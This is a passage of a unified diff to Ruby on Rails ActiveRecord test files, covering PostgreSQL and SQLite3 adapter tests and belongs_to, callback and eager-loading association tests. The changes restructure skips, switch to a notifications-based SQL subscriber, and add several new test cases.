+      @connection.exec_query "select * from developers where id = ?", 'sql', [[nil, 1]]
+    end
+  end
+
   def test_schema_change_with_prepared_stmt
     altered = false
     @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
@@ -240,6 +272,18 @@ class SchemaTest < ActiveRecord::TestCase
     assert_nothing_raised { with_schema_search_path nil }
   end
 
+  def test_index_name_exists
+    with_schema_search_path(SCHEMA_NAME) do
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_A_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_B_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_C_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_D_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+      assert @connection.index_name_exists?(TABLE_NAME, INDEX_E_NAME, true)
+      assert_not @connection.index_name_exists?(TABLE_NAME, 'missing_index', true)
+    end
+  end
+
   def test_dump_indexes_for_schema_one
     do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
   end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
index f1c4b85..1497b0a 100644
--- a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -1,38 +1,40 @@
 require 'cases/helper'
 
-module ActiveRecord::ConnectionAdapters
-  class PostgreSQLAdapter < AbstractAdapter
-    class InactivePGconn
-      def query(*args)
-        raise PGError
-      end
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter < AbstractAdapter
+      class InactivePGconn
+        def query(*args)
+          raise PGError
+        end
 
-      def status
-        PGconn::CONNECTION_BAD
+        def status
+          PGconn::CONNECTION_BAD
+        end
       end
-    end
 
-    class StatementPoolTest < ActiveRecord::TestCase
-      def test_cache_is_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      class StatementPoolTest < ActiveRecord::TestCase
+        if Process.respond_to?(:fork)
+          def test_cache_is_per_pid
+            cache = StatementPool.new nil, 10
+            cache['foo'] = 'bar'
+            assert_equal 'bar', cache['foo']
 
-        cache = StatementPool.new nil, 10
-        cache['foo'] = 'bar'
-        assert_equal 'bar', cache['foo']
+            pid = fork {
+              lookup = cache['foo'];
+              exit!(!lookup)
+            }
 
-        pid = fork {
-          lookup = cache['foo'];
-          exit!(!lookup)
-        }
-
-        Process.waitpid pid
-        assert $?.success?, 'process should exit successfully'
-      end
+            Process.waitpid pid
+            assert $?.success?, 'process should exit successfully'
+          end
+        end
 
-      def test_dealloc_does_not_raise_on_inactive_connection
-        cache = StatementPool.new InactivePGconn.new, 10
-        cache['foo'] = 'bar'
-        assert_nothing_raised { cache.clear }
+        def test_dealloc_does_not_raise_on_inactive_connection
+          cache = StatementPool.new InactivePGconn.new, 10
+          cache['foo'] = 'bar'
+          assert_nothing_raised { cache.clear }
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
index dbc69a5..4d29a20 100644
--- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -12,10 +12,6 @@ class TimestampTest < ActiveRecord::TestCase
   end
 
   def test_load_infinity_and_beyond
-    unless current_adapter?(:PostgreSQLAdapter)
-      return skip("only tested on postgresql")
-    end
-
     d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
     assert d.first.updated_at.infinite?, 'timestamp should be infinite'
 
@@ -26,10 +22,6 @@ class TimestampTest < ActiveRecord::TestCase
   end
 
   def test_save_infinity_and_beyond
-    unless current_adapter?(:PostgreSQLAdapter)
-      return skip("only tested on postgresql")
-    end
-
     d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0)
     assert_equal(1.0 / 0.0, d.updated_at)
 
@@ -85,10 +77,7 @@ class TimestampTest < ActiveRecord::TestCase
   end
 
   def test_bc_timestamp
-    unless current_adapter?(:PostgreSQLAdapter)
-      return skip("only tested on postgresql")
-    end
-    date = Date.new(0) - 1.second
+    date = Date.new(0) - 1.week
     Developer.create!(:name => "aaron", :updated_at => date)
     assert_equal date, Developer.find_by_name("aaron").updated_at
   end
@@ -109,5 +98,4 @@ class TimestampTest < ActiveRecord::TestCase
       end
       result && result.send(option)
     end
-
 end
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
index 84e0cfa..0d7e284 100644
--- a/activerecord/test/cases/adapters/postgresql/uuid_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -12,10 +12,6 @@ class PostgresqlUUIDTest < ActiveRecord::TestCase
   def setup
     @connection = ActiveRecord::Base.connection
 
-    unless @connection.supports_extensions?
-      return skip "do not test on PG without uuid-ossp"
-    end
-
     unless @connection.extension_enabled?('uuid-ossp')
       @connection.enable_extension 'uuid-ossp'
       @connection.commit_db_transaction
@@ -35,33 +31,48 @@ class PostgresqlUUIDTest < ActiveRecord::TestCase
     @connection.execute 'drop table if exists pg_uuids'
   end
 
-  def test_id_is_uuid
-    assert_equal :uuid, UUID.columns_hash['id'].type
-    assert UUID.primary_key
-  end
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_id_is_uuid
+      assert_equal :uuid, UUID.columns_hash['id'].type
+      assert UUID.primary_key
+    end
 
-  def test_id_has_a_default
-    u = UUID.create
-    assert_not_nil u.id
-  end
+    def test_id_has_a_default
+      u = UUID.create
+      assert_not_nil u.id
+    end
 
-  def test_auto_create_uuid
-    u = UUID.create
-    u.reload
-    assert_not_nil u.other_uuid
-  end
+    def test_auto_create_uuid
+      u = UUID.create
+      u.reload
+      assert_not_nil u.other_uuid
+    end
 
-  def test_pk_and_sequence_for_uuid_primary_key
-    pk, seq = @connection.pk_and_sequence_for('pg_uuids')
-    assert_equal 'id', pk
-    assert_equal nil, seq
-  end
+    def test_pk_and_sequence_for_uuid_primary_key
+      pk, seq = @connection.pk_and_sequence_for('pg_uuids')
+      assert_equal 'id', pk
+      assert_equal nil, seq
+    end
+
+    def test_schema_dumper_for_uuid_primary_key
+      schema = StringIO.new
+      ActiveRecord::SchemaDumper.dump(@connection, schema)
+      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: "uuid_generate_v1\(\)"/, schema.string)
+      assert_match(/t\.uuid   "other_uuid", default: "uuid_generate_v4\(\)"/, schema.string)
+    end
+
+    def test_change_column_default
+      @connection.add_column :pg_uuids, :thingy, :uuid, null: false, default: "uuid_generate_v1()"
+      UUID.reset_column_information
+      column = UUID.columns.find { |c| c.name == 'thingy' }
+      assert_equal "uuid_generate_v1()", column.default_function
+
+      @connection.change_column :pg_uuids, :thingy, :uuid, null: false, default: "uuid_generate_v4()"
 
-  def test_schema_dumper_for_uuid_primary_key
-    schema = StringIO.new
-    ActiveRecord::SchemaDumper.dump(@connection, schema)
-    assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: "uuid_generate_v1\(\)"/, schema.string)
-    assert_match(/t\.uuid   "other_uuid", default: "uuid_generate_v4\(\)"/, schema.string)
+      UUID.reset_column_information
+      column = UUID.columns.find { |c| c.name == 'thingy' }
+      assert_equal "uuid_generate_v4()", column.default_function
+    end
   end
 end
 
@@ -72,9 +83,13 @@ class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase
 
   def setup
     @connection = ActiveRecord::Base.connection
-
     @connection.reconnect!
 
+    unless @connection.extension_enabled?('uuid-ossp')
+      @connection.enable_extension 'uuid-ossp'
+      @connection.commit_db_transaction
+    end
+
     @connection.transaction do
       @connection.create_table('pg_uuids', id: false) do |t|
         t.primary_key :id, :uuid, default: nil
@@ -87,12 +102,14 @@ class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase
     @connection.execute 'drop table if exists pg_uuids'
   end
 
-  def test_id_allows_default_override_via_nil
-    col_desc = @connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_id_allows_default_override_via_nil
+      col_desc = @connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
                                     FROM pg_attribute a
                                     LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
                                     WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
-    assert_nil col_desc["default"]
+      assert_nil col_desc["default"]
+    end
   end
 end
 
@@ -111,6 +128,11 @@ class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase
     @connection = ActiveRecord::Base.connection
     @connection.reconnect!
 
+    unless @connection.extension_enabled?('uuid-ossp')
+      @connection.enable_extension 'uuid-ossp'
+      @connection.commit_db_transaction
+    end
+
     @connection.transaction do
       @connection.create_table('pg_uuid_posts', id: :uuid) do |t|
         t.string 'title'
@@ -129,9 +151,11 @@ class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase
     end
   end
 
-  def test_collection_association_with_uuid
-    post    = UuidPost.create!
-    comment = post.uuid_comments.create!
-    assert post.uuid_comments.find(comment.id)
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_collection_association_with_uuid
+      post    = UuidPost.create!
+      comment = post.uuid_comments.create!
+      assert post.uuid_comments.find(comment.id)
+    end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb
index bf14b37..dd2a727 100644
--- a/activerecord/test/cases/adapters/postgresql/xml_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb
@@ -18,7 +18,7 @@ class PostgresqlXMLTest < ActiveRecord::TestCase
         end
       end
     rescue ActiveRecord::StatementInvalid
-      return skip "do not test on PG without xml"
+      skip "do not test on PG without xml"
     end
     @column = XmlDataType.columns.find { |c| c.name == 'payload' }
   end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
index e78cb88..b478db7 100644
--- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -1,7 +1,7 @@
 require "cases/helper"
 
 class CopyTableTest < ActiveRecord::TestCase
-  fixtures :customers, :companies, :comments, :binaries
+  fixtures :customers
 
   def setup
     @connection = ActiveRecord::Base.connection
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index a7b2764..ba89487 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -95,6 +95,13 @@ module ActiveRecord
             end
           }.new
           assert_equal 10, @conn.type_cast(quoted_id_obj, nil)
+
+          quoted_id_obj = Class.new {
+            def quoted_id
+              "'zomg'"
+            end
+          }
+          assert_raise(TypeError) { @conn.type_cast(quoted_id_obj, nil) }
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index 52fb73c..a618198 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,6 +1,7 @@
 # encoding: utf-8
 require "cases/helper"
 require 'models/owner'
+require 'tempfile'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -21,8 +22,38 @@ module ActiveRecord
           )
         eosql
 
-        @conn.extend(LogIntercepter)
-        @conn.intercepted = true
+        @subscriber = SQLSubscriber.new
+        ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
+      end
+
+      def test_bad_connection
+        assert_raise ActiveRecord::NoDatabaseError do
+          connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+          connection.exec_query('drop table if exists ex')
+        end
+      end
+
+      unless in_memory_db?
+        def test_connect_with_url
+          original_connection = ActiveRecord::Base.remove_connection
+          tf = Tempfile.open 'whatever'
+          url = "sqlite3:#{tf.path}"
+          ActiveRecord::Base.establish_connection(url)
+          assert ActiveRecord::Base.connection
+        ensure
+          tf.close
+          tf.unlink
+          ActiveRecord::Base.establish_connection(original_connection)
+        end
+
+        def test_connect_memory_with_url
+          original_connection = ActiveRecord::Base.remove_connection
+          url = "sqlite3::memory:"
+          ActiveRecord::Base.establish_connection(url)
+          assert ActiveRecord::Base.connection
+        ensure
+          ActiveRecord::Base.establish_connection(original_connection)
+        end
       end
 
       def test_valid_column
@@ -30,17 +61,17 @@ module ActiveRecord
         assert @conn.valid_type?(column.type)
       end
 
-      # sqlite databses should be able to support any type and not
-      # just the ones mentioned in the native_database_types. 
-      # Therefore test_invalid column should always return true 
+      # sqlite databases should be able to support any type and not
+      # just the ones mentioned in the native_database_types.
+      # Therefore test_invalid column should always return true
       # even if the type is not valid.
       def test_invalid_column
         assert @conn.valid_type?(:foobar)
       end
 
       def teardown
-        @conn.intercepted = false
-        @conn.logged = []
+        ActiveSupport::Notifications.unsubscribe(@subscriber)
+        super
       end
 
       def test_column_types
@@ -154,7 +185,7 @@ module ActiveRecord
         DualEncoding.connection.execute(<<-eosql)
           CREATE TABLE dual_encodings (
             id integer PRIMARY KEY AUTOINCREMENT,
-            name string,
+            name varchar(255),
             data binary
           )
         eosql
@@ -256,7 +287,7 @@ module ActiveRecord
       def test_tables_logs_name
         assert_logged [['SCHEMA', []]] do
           @conn.tables('hello')
-          assert_not_nil @conn.logged.first.shift
+          assert_not_nil @subscriber.logged.first.shift
         end
       end
 
@@ -268,7 +299,7 @@ module ActiveRecord
 
       def test_table_exists_logs_name
         assert @conn.table_exists?('items')
-        assert_equal 'SCHEMA', @conn.logged[0][1]
+        assert_equal 'SCHEMA', @subscriber.logged[0][1]
       end
 
       def test_columns
@@ -306,10 +337,10 @@ module ActiveRecord
       end
 
       def test_indexes_logs
-        assert_difference('@conn.logged.length') do
+        assert_difference('@subscriber.logged.length') do
           @conn.indexes('items')
         end
-        assert_match(/items/, @conn.logged.last.first)
+        assert_match(/items/, @subscriber.logged.last.first)
       end
 
       def test_no_indexes
@@ -366,11 +397,26 @@ module ActiveRecord
         assert @conn.respond_to?(:disable_extension)
       end
 
+      def test_statement_closed
+        db = SQLite3::Database.new(ActiveRecord::Base.
+                                   configurations['arunit']['database'])
+        statement = SQLite3::Statement.new(db,
+                                           'CREATE TABLE statement_test (number integer not null)')
+        statement.stubs(:step).raises(SQLite3::BusyException, 'busy')
+        statement.stubs(:columns).once.returns([])
+        statement.expects(:close).once
+        SQLite3::Statement.stubs(:new).returns(statement)
+
+        assert_raises ActiveRecord::StatementInvalid do
+          @conn.exec_query 'select * from statement_test'
+        end
+      end
+
       private
 
       def assert_logged logs
         yield
-        assert_equal logs, @conn.logged
+        assert_equal logs, @subscriber.logged
       end
 
     end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
index 5a4fe63..f545fc2 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
@@ -12,7 +12,7 @@ module ActiveRecord
                                :adapter => 'sqlite3',
                                :timeout => 100
 
-          assert Dir.exists? dir.join('db')
+          assert Dir.exist? dir.join('db')
           assert File.exist? dir.join('db/foo.sqlite3')
         end
       end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
index 2f04c60..fd0044a 100644
--- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -3,20 +3,21 @@ require 'cases/helper'
 module ActiveRecord::ConnectionAdapters
   class SQLite3Adapter
     class StatementPoolTest < ActiveRecord::TestCase
-      def test_cache_is_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      if Process.respond_to?(:fork)
+        def test_cache_is_per_pid
 
-        cache = StatementPool.new nil, 10
-        cache['foo'] = 'bar'
-        assert_equal 'bar', cache['foo']
+          cache = StatementPool.new nil, 10
+          cache['foo'] = 'bar'
+          assert_equal 'bar', cache['foo']
 
-        pid = fork {
-          lookup = cache['foo'];
-          exit!(!lookup)
-        }
+          pid = fork {
+            lookup = cache['foo'];
+            exit!(!lookup)
+          }
 
-        Process.waitpid pid
-        assert $?.success?, 'process should exit successfully'
+          Process.waitpid pid
+          assert $?.success?, 'process should exit successfully'
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
index d386482..c78b036 100644
--- a/activerecord/test/cases/associations/association_scope_test.rb
+++ b/activerecord/test/cases/associations/association_scope_test.rb
@@ -6,8 +6,9 @@ module ActiveRecord
   module Associations
     class AssociationScopeTest < ActiveRecord::TestCase
       test 'does not duplicate conditions' do
-        association_scope = AssociationScope.new(Author.new.association(:welcome_posts))
-        wheres = association_scope.scope.where_values.map(&:right)
+        scope = AssociationScope.scope(Author.new.association(:welcome_posts),
+                                        Author.connection)
+        wheres = scope.where_values.map(&:right)
         assert_equal wheres.uniq, wheres
       end
     end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 01d2268..e919bb5 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -16,6 +16,8 @@ require 'models/essay'
 require 'models/toy'
 require 'models/invoice'
 require 'models/line_item'
+require 'models/column'
+require 'models/record'
 
 class BelongsToAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :developers, :projects, :topics,
@@ -28,6 +30,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal companies(:first_firm).name, firm.name
   end
 
+  def test_belongs_to_does_not_use_order_by
+    ActiveRecord::SQLCounter.clear_log
+    Client.find(3).firm
+  ensure
+    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+  end
+
   def test_belongs_to_with_primary_key
     client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
     assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
@@ -333,6 +342,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_queries(1) { line_item.touch }
   end
 
+  def test_belongs_to_with_touch_option_on_touch_without_updated_at_attributes
+    assert_not LineItem.column_names.include?("updated_at")
+
+    line_item = LineItem.create!
+    invoice = Invoice.create!(line_items: [line_item])
+    initial = invoice.updated_at
+    line_item.touch
+
+    assert_not_equal initial, invoice.reload.updated_at
+  end
+
   def test_belongs_to_with_touch_option_on_touch_and_removed_parent
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
@@ -356,6 +376,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_queries(2) { line_item.destroy }
   end
 
+  def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
+    line_item = LineItem.create!
+    invoice   = Invoice.create!(line_items: [line_item])
+    invoice.destroy
+
+    assert_queries(1) { line_item.destroy }
+  end
+
   def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
@@ -379,7 +407,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     topic.replies.create!(:title => "re: 37s", :content => "rails")
     assert_equal 1, Topic.find(topic.id)[:replies_count]
 
-    topic.update_columns(content: "rails is wonderfull")
+    topic.update_columns(content: "rails is wonderful")
     assert_equal 1, Topic.find(topic.id)[:replies_count]
   end
 
@@ -432,8 +460,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
 
   def test_dont_find_target_when_foreign_key_is_null
     tagging = taggings(:thinking_general)
-    queries = assert_sql { tagging.super_tag }
-    assert_equal 0, queries.length
+    assert_queries(0) { tagging.super_tag }
   end
 
   def test_field_name_same_as_foreign_key
@@ -515,6 +542,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert companies(:first_client).readonly_firm.readonly?
   end
 
+  def test_test_polymorphic_assignment_foreign_key_type_string
+    comment = Comment.first
+    comment.author   = Author.first
+    comment.resource = Member.first
+    comment.save
+
+    assert_equal Comment.all.to_a,
+      Comment.includes(:author).to_a
+
+    assert_equal Comment.all.to_a,
+      Comment.includes(:resource).to_a
+  end
+
   def test_polymorphic_assignment_foreign_type_field_updating
     # should update when assigning a saved record
     sponsor = Sponsor.new
@@ -579,6 +619,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_nil essay.writer_id
   end
 
+  def test_polymorphic_assignment_with_nil
+    essay = Essay.new
+    assert_nil essay.writer_id
+    assert_nil essay.writer_type
+
+    essay.writer_id = 1
+    essay.writer_type = 'Author'
+
+    essay.writer = nil
+    assert_nil essay.writer_id
+    assert_nil essay.writer_type
+  end
+
   def test_belongs_to_proxy_should_not_respond_to_private_methods
     assert_raise(NoMethodError) { companies(:first_firm).private_method }
     assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
@@ -606,6 +659,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_dependent_delete_and_destroy_with_belongs_to
+    AuthorAddress.destroyed_author_address_ids.clear
+
     author_address = author_addresses(:david_address)
     author_address_extra = author_addresses(:david_address_extra)
     assert_equal [], AuthorAddress.destroyed_author_address_ids
@@ -618,16 +673,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
   end
 
-  def test_invalid_belongs_to_dependent_option_nullify_raises_exception
-    assert_raise ArgumentError do
+  def test_belongs_to_invalid_dependent_option_raises_exception
+    error = assert_raise ArgumentError do
       Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
     end
-  end
-
-  def test_invalid_belongs_to_dependent_option_restrict_raises_exception
-    assert_raise ArgumentError do
-      Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
-    end
+    assert_equal error.message, 'The :dependent option must be one of [:destroy, :delete], but is :nullify'
   end
 
   def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
@@ -800,6 +850,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 0, comments(:greetings).reload.children_count
   end
 
+  def test_belongs_to_with_id_assigning
+    post = posts(:welcome)
+    comment = Comment.create! body: "foo", post: post
+    parent = comments(:greetings)
+    assert_equal 0, parent.reload.children_count
+    comment.parent_id = parent.id
+
+    comment.save!
+    assert_equal 1, parent.reload.children_count
+  end
+
   def test_polymorphic_with_custom_primary_key
     toy = Toy.create!
     sponsor = Sponsor.create!(:sponsorable => toy)
@@ -829,4 +890,20 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert post.save
     assert_equal post.author_id, author2.id
   end
+
+  test 'dangerous association name raises ArgumentError' do
+    [:errors, 'errors', :save, 'save'].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          belongs_to name
+        end
+      end
+    end
+  end
+
+  test 'belongs_to works with model called Record' do
+    record = Record.create!
+    Column.create! record: record
+    assert_equal 1, Column.count
+  end
 end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
index 2d0d454..e555c52 100644
--- a/activerecord/test/cases/associations/callbacks_test.rb
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -101,6 +101,27 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
                   "after_adding#{david.id}"], ar.developers_log
   end
 
+  def test_has_and_belongs_to_many_before_add_called_before_save
+    dev     = nil
+    new_dev = nil
+    klass = Class.new(Project) do
+      def self.name; Project.name; end
+      has_and_belongs_to_many :developers_with_callbacks,
+                                :class_name => "Developer",
+                                :before_add => lambda { |o,r|
+        dev     = r
+        new_dev = r.new_record?
+      }
+    end
+    rec = klass.create!
+    alice = Developer.new(:name => 'alice')
+    rec.developers_with_callbacks << alice
+    assert_equal alice, dev
+    assert_not_nil new_dev
+    assert new_dev, "record should not have been saved"
+    assert_not alice.new_record?
+  end
+
   def test_has_and_belongs_to_many_after_add_called_after_save
     ar = projects(:active_record)
     assert ar.developers_log.empty?
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index e693d34..71c0609 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -52,12 +52,10 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
   def test_cascaded_eager_association_loading_with_join_for_count
     categories = Category.joins(:categorizations).includes([{:posts=>:comments}, :authors])
 
-    assert_nothing_raised do
-      assert_equal 4, categories.count
-      assert_equal 4, categories.to_a.count
-      assert_equal 3, categories.distinct.count
-      assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
-    end
+    assert_equal 4, categories.count
+    assert_equal 4, categories.to_a.count
+    assert_equal 3, categories.distinct.count
+    assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
   end
 
   def test_cascaded_eager_association_loading_with_duplicated_includes
@@ -176,4 +174,15 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
     sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
     assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
   end
+
+  def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
+    authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
+    authors = authors_relation.to_a
+    assert_equal 3, authors.size
+    assert_equal 10, authors[0].comments.size
+    assert_equal 1, authors[1].comments.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 3, authors[1].posts.size
+    assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum+i }
+  end
 end
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
index 634f6b6..b12bc35 100644
--- a/activerecord/test/cases/associations/eager_singularization_test.rb
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -1,128 +1,132 @@
 require "cases/helper"
 
-class Virus < ActiveRecord::Base
-  belongs_to :octopus
-end
-class Octopus < ActiveRecord::Base
-  has_one :virus
-end
-class Pass < ActiveRecord::Base
-  belongs_to :bus
-end
-class Bus < ActiveRecord::Base
-  has_many :passes
-end
-class Mess < ActiveRecord::Base
-  has_and_belongs_to_many :crises
-end
-class Crisis < ActiveRecord::Base
-  has_and_belongs_to_many :messes
-  has_many :analyses, :dependent => :destroy
-  has_many :successes, :through => :analyses
-  has_many :dresses, :dependent => :destroy
-  has_many :compresses, :through => :dresses
-end
-class Analysis < ActiveRecord::Base
-  belongs_to :crisis
-  belongs_to :success
-end
-class Success < ActiveRecord::Base
-  has_many :analyses, :dependent => :destroy
-  has_many :crises, :through => :analyses
-end
-class Dress < ActiveRecord::Base
-  belongs_to :crisis
-  has_many :compresses
-end
-class Compress < ActiveRecord::Base
-  belongs_to :dress
-end
-
 
+if ActiveRecord::Base.connection.supports_migrations?
 class EagerSingularizationTest < ActiveRecord::TestCase
+  class Virus < ActiveRecord::Base
+    belongs_to :octopus
+  end
+
+  class Octopus < ActiveRecord::Base
+    has_one :virus
+  end
+
+  class Pass < ActiveRecord::Base
+    belongs_to :bus
+  end
+
+  class Bus < ActiveRecord::Base
+    has_many :passes
+  end
+
+  class Mess < ActiveRecord::Base
+    has_and_belongs_to_many :crises
+  end
+
+  class Crisis < ActiveRecord::Base
+    has_and_belongs_to_many :messes
+    has_many :analyses, :dependent => :destroy
+    has_many :successes, :through => :analyses
+    has_many :dresses, :dependent => :destroy
+    has_many :compresses, :through => :dresses
+  end
+
+  class Analysis < ActiveRecord::Base
+    belongs_to :crisis
+    belongs_to :success
+  end
+
+  class Success < ActiveRecord::Base
+    has_many :analyses, :dependent => :destroy
+    has_many :crises, :through => :analyses
+  end
+
+  class Dress < ActiveRecord::Base
+    belongs_to :crisis
+    has_many :compresses
+  end
+
+  class Compress < ActiveRecord::Base
+    belongs_to :dress
+  end
 
   def setup
-    if ActiveRecord::Base.connection.supports_migrations?
-      ActiveRecord::Base.connection.create_table :viri do |t|
-        t.column :octopus_id, :integer
-        t.column :species, :string
-      end
-      ActiveRecord::Base.connection.create_table :octopi do |t|
-        t.column :species, :string
-      end
-      ActiveRecord::Base.connection.create_table :passes do |t|
-        t.column :bus_id, :integer
-        t.column :rides, :integer
-      end
-      ActiveRecord::Base.connection.create_table :buses do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
-        t.column :crisis_id, :integer
-        t.column :mess_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :messes do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :crises do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :successes do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :analyses do |t|
-        t.column :crisis_id, :integer
-        t.column :success_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :dresses do |t|
